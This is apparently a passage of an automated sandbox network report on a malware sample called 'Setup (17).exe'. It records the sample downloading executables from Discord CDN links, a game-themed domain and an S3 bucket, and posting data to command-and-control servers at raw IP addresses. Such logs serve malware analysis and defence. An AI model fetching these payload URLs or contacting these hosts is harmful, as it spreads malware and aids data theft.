                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycduTfiy_0BfiqjWZFI_pYX99CLg_BcoQ9QJp0yg5XahR0KBIipoWyn1D9X4l0FztzwsUo0eKqce9z-uzNmm9slKIvIW4xA
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aHCEGbNObEGisNY0yWxnOx8qjTDu74oRzNwFgBm%2FGYVbINLFOzr4rh4FmmKuEevfRnL9FBDwMHz55%2FhW5wwjFfsfy%2FB3Wfye2qx%2BGU0K4ueRMsgPyAxfV2eqLV2EX1%2F8tjTweg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/877968885607956512/877968995024781322/Setup2.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/877968885607956512/877968995024781322/Setup2.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:33 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 2082693
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232589ecc6012e-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 98051
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=Setup2.exe
                                                                                                                                                                                                                                          ETag: "7c34cf01cf220a4caf2feaee9a187b77"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:33 GMT
                                                                                                                                                                                                                                          Last-Modified: Thu, 19 Aug 2021 17:35:20 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629394520358335
                                                                                                                                                                                                                                          x-goog-hash: crc32c=xt/49Q==
                                                                                                                                                                                                                                          x-goog-hash: md5=fDTPAc8iCkyvL+rumhh7dw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 2082693
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdufEU6ytktH0sSb6U9otGNpW3zf7BZVB4YiUDTuC0mW_-Ye2VBysPE9pGOc8lR7FV8y9rTYxdk7ZpwSMk-Gf16VIsrFAg
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PlVwy1IToayhlObDqUR3bc1Fvf8FQQH%2F0dF64OjPXpMpVKg4a8hC5njgj6O3Ot0Zklc%2BVyGy%2FpSS4amlBY%2F%2FcyDrB02r5grrE87Hv2wvYApvsvepMw4yIKE%2BMJ6FEhv4DW%2B7YA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/875703530030260245/878322236350668870/r.bmp
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/875703530030260245/878322236350668870/r.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:33 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 3819448
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 6823258c8d300c01-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 62665
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=r.bmp
                                                                                                                                                                                                                                          ETag: "be5ac1debc50077d6c314867ea3129af"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:33 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 16:58:59 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629478739671998
                                                                                                                                                                                                                                          x-goog-hash: crc32c=V1t49w==
                                                                                                                                                                                                                                          x-goog-hash: md5=vlrB3rxQB31sMUhn6jEprw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 3819448
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdsCDIbVh42Qqk7gOSFCJXnwCQoiLM_UvmLXX1dgp6A_92SlFwpu38ZoZz_RdZzPhJzl4mCPdC39PXG6th6o2LF6y5D1ew
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jbp%2FXZN%2Bz3Bwd8ZnnGT02RlW4nbnHgtmU3jr%2BoJlFhxalATCJuW3PcAVlEEg662H78g95m0ehYQT0H%2BS0hWuZkLSItHWznxW7FXA85xY6vAuxrvpI9NYceuH0Wzr69pEf2EWQA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/829885245049667597/874990247837061120/inst001.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/829885245049667597/874990247837061120/inst001.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:35 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 263168
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 68232594bb9dfa3c-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 834987
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=inst001.exe
                                                                                                                                                                                                                                          ETag: "a6ef5e293c9422d9a4838178aea19c50"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:23:35 GMT
                                                                                                                                                                                                                                          Last-Modified: Wed, 11 Aug 2021 12:18:51 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1628684331663608
                                                                                                                                                                                                                                          x-goog-hash: crc32c=pNx86Q==
                                                                                                                                                                                                                                          x-goog-hash: md5=pu9eKTyUItmkg4F4rqGcUA==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 263168
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdsyImOQwKHdpTdyfjMna5QdI-W7hfM1oxUIAx1SVALcwuz33uBBslm2_vOY1XkQz8Par85hNdOLN3kYfkwMPuI
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WWMueRBCwVJznNzdjVLIcFhndKpWEGFsVCiVCzuzMiGYgXLCnsdGk%2BczOD5hZL0Nyfdab2wcez%2FzGtAbqWot2nObyHGdZwK6tE2BpJCz4v1cH9GKp2VRljH%2FsBsZ%2BSI6f%2B%2FGoA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.161.96
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.21.9.227
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://bb.goatggame.com/userf/2201/57482a8d5afd71ead774543ddd55b203.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.161.96:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/2201/57482a8d5afd71ead774543ddd55b203.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Host: bb.goatggame.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:23:54 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          content-disposition: attachment; filename="wangzq-game.exe"
                                                                                                                                                                                                                                          content-transfer-encoding: binary
                                                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: max-age=14400
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Age: 448
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:16:26 GMT
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hj8b%2BzKes8dnpjA57e6%2FhCgKJCjvdRaSZCZV6%2B1gdoqiAFeT%2FoG8SChsI9Y8lPyoDXJdllizLewojkPCobbt13ZYd%2FJ5Nnwq1TB450UDcA3u5qvOTp1zwWFSeEiiQSlfeDYy"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823260fe8e10b5f-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          crl3.digicert.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          crl3.digicert.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          crl3.digicert.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          cs9.wac.phicdn.net
                                                                                                                                                                                                                                          cs9.wac.phicdn.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          93.184.220.29
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAGC%2BAmOouYmuRo7J4Qfua8%3D
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          93.184.220.29:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAGC%2BAmOouYmuRo7J4Qfua8%3D HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: ocsp.digicert.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 3916
                                                                                                                                                                                                                                          Cache-Control: max-age=163804
                                                                                                                                                                                                                                          Content-Type: application/ocsp-response
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:09 GMT
                                                                                                                                                                                                                                          Etag: "6120a1d9-5e3"
                                                                                                                                                                                                                                          Expires: Mon, 23 Aug 2021 07:54:13 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 06:48:57 GMT
                                                                                                                                                                                                                                          Server: ECS (amb/6BC1)
                                                                                                                                                                                                                                          X-Cache: HIT
                                                                                                                                                                                                                                          Content-Length: 1507
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://crl3.digicert.com/Omniroot2025.crl
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          93.184.220.29:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /Omniroot2025.crl HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: crl3.digicert.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 10332
                                                                                                                                                                                                                                          Cache-Control: max-age=10800
                                                                                                                                                                                                                                          Content-Type: application/pkix-crl
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:09 GMT
                                                                                                                                                                                                                                          Etag: "1247492185"
                                                                                                                                                                                                                                          Expires: Sat, 21 Aug 2021 13:24:09 GMT
                                                                                                                                                                                                                                          Last-Modified: Tue, 17 Aug 2021 20:30:31 GMT
                                                                                                                                                                                                                                          Server: ECS (amb/6BBA)
                                                                                                                                                                                                                                          X-Cache: HIT
                                                                                                                                                                                                                                          Content-Length: 7869
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          crl.usertrust.com
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          crl.usertrust.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          crl.usertrust.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          151.139.128.14
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          151.139.128.14:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /USERTrustRSACertificationAuthority.crl HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: crl.usertrust.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:09 GMT
                                                                                                                                                                                                                                          Content-Type: application/pkix-crl
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 02:22:37 GMT
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          ETag: "6120636d-3d2"
                                                                                                                                                                                                                                          X-CCACDN-Mirror-ID: mscrl2
                                                                                                                                                                                                                                          Cache-Control: max-age=14400, s-maxage=3600
                                                                                                                                                                                                                                          X-CCACDN-Proxy-ID: mcdpinlb5
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          X-HW: 1629541449.cds078.am5.h2,1629541449.cds281.am5.c
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Content-Length: 978
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com/offer/GameBox.exe
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          52.219.64.68:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /offer/GameBox.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: 7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          x-amz-id-2: bohWYp2oTRZgysCld/F/pwwYkYRNe+hhELTO4Fb7V3BYJ/2M6aG8ZbrIgGrjAhQzJlB3/dt33gY=
                                                                                                                                                                                                                                          x-amz-request-id: G7KWV7PF5QPX8MPY
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:10 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 10:28:02 GMT
                                                                                                                                                                                                                                          ETag: "58f5dca577a49a38ea439b3dc7b5f8d6"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Type: application/x-msdownload
                                                                                                                                                                                                                                          Server: AmazonS3
                                                                                                                                                                                                                                          Content-Length: 390772
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/getData.php
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /base/api/getData.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Content-Length: 709
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:26 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 108
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/getData.php
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /base/api/getData.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Content-Length: 133
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:24:27 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 108
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=99
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          34.117.59.81
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.14.49.128:8207/
                                                                                                                                                                                                                                          VwQqyIEtIQiqOFuVWw7gWHZj.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.14.49.128:8207
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 45.14.49.128:8207
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:06 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://45.14.49.128:8207/
                                                                                                                                                                                                                                          VwQqyIEtIQiqOFuVWw7gWHZj.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          45.14.49.128:8207
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
                                                                                                                                                                                                                                          Host: 45.14.49.128:8207
                                                                                                                                                                                                                                          Content-Length: 144
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 4816
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:47 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          D1EfYRA9RC4OkRzdWYnFh5GO.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.124.36.242:25802
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST / HTTP/1.1
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
                                                                                                                                                                                                                                          Host: 188.124.36.242:25802
                                                                                                                                                                                                                                          Content-Length: 137
                                                                                                                                                                                                                                          Expect: 100-continue
                                                                                                                                                                                                                                          Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Length: 212
                                                                                                                                                                                                                                          Content-Type: text/xml; charset=utf-8
                                                                                                                                                                                                                                          Server: Microsoft-HTTPAPI/2.0
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:52 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://188.124.36.242:25802/
                                                                                                                                                                                                                                          D1EfYRA9RC4OkRzdWYnFh5GO.exe
                                                                                                                                                                                                                                          Remote address:
